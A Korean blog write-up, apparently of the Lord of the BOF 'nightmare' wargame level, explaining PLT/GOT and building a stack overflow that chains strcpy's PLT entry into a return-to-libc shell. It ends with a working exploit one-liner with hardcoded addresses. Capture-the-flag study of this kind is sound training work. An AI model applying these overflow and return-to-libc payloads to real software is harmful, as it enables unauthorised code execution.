succubus -> nightmare 로 접속합니다.
plt라는 힌트와 함께
흠?
ret 부분에 strcpy 의 주소가 들어가야 하네요
우선 plt에 대해서 공부하면
PLT(Procedure Linkage Table)
PLT는 일종의 실제 호출 코드를 담고 있는 테이블로써 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 됩니다..
GOT(Global Offset Table)
GOT는 PLT가 참조하는 테이블로써 프로시져들의 주소를 가지고 있습니다. PLT가 어떤 외부 프로시져를 호출할 때 이 GOT를 참조해서 해당 주소로 점프하게 됩니다.
한마디로 strcpy가 실행되는 것 같습니다.
strcpy 구조
char * strcpy ( char * destination, const char * source );
source 를 destination 으로 복사한다.
그렇다면 이제 이해가 갑니다.
RET주소를 현제 strcpy 의 plt 주소로 설정해야만 합니다.
그렇다면 strcpy 함수 호출이 끝난 후에 ret 는
기존의 ret 주소에 있던 strcpy 함수 주소 뒤의 4바이트로 인식합니다.
현재 이 프로그램을 보면 AAAA를 RET로 인식하겠군요
strcpy를 이용해서 AAAA에 원하는 주소를 삽입하면 됩니다.
여기서 공격 페이로드를 생각해보면
argv[1] : buffer + sft + ret(&strcpy) + 4byte + des + src
argv[2] : (rtl) system + 4byte + /bin/sh
이렇게 해서
buffer + sft + &strcpy + AAAA + &AAAA + &argv[2] 가 되겠군요
우선 argv[2]와 AAAA의 주소를 알기위해 소스코드를 살짝 수정합시다.
buffer 0xbffffa30 + 48 하면 0xbffffa60
argv[2] : 0xbffffbf1 이지만 복사한 파일이라서 이름이 살짝 다르므로
0xbffffbef~0xbffffbf3 정도 까지 순서대로 입력해보면
익스플로잇 성공
./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"AAAA"+"\x60\xfa\xff\xbf"+"\xf3\xfb\xff\xbf"'` `python -c 'print "\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
'Security > Pwnable' 카테고리의 다른 글
LOB Level20 xavius (0) | 2021.08.10 |
---|---|
LOB Level 19 nightmare (0) | 2021.08.10 |
LOB Level 17 zombie_assassin (0) | 2021.08.10 |
LOB Level 16 assassin (0) | 2021.08.10 |
LOB Level 15 giant (0) | 2021.08.10 |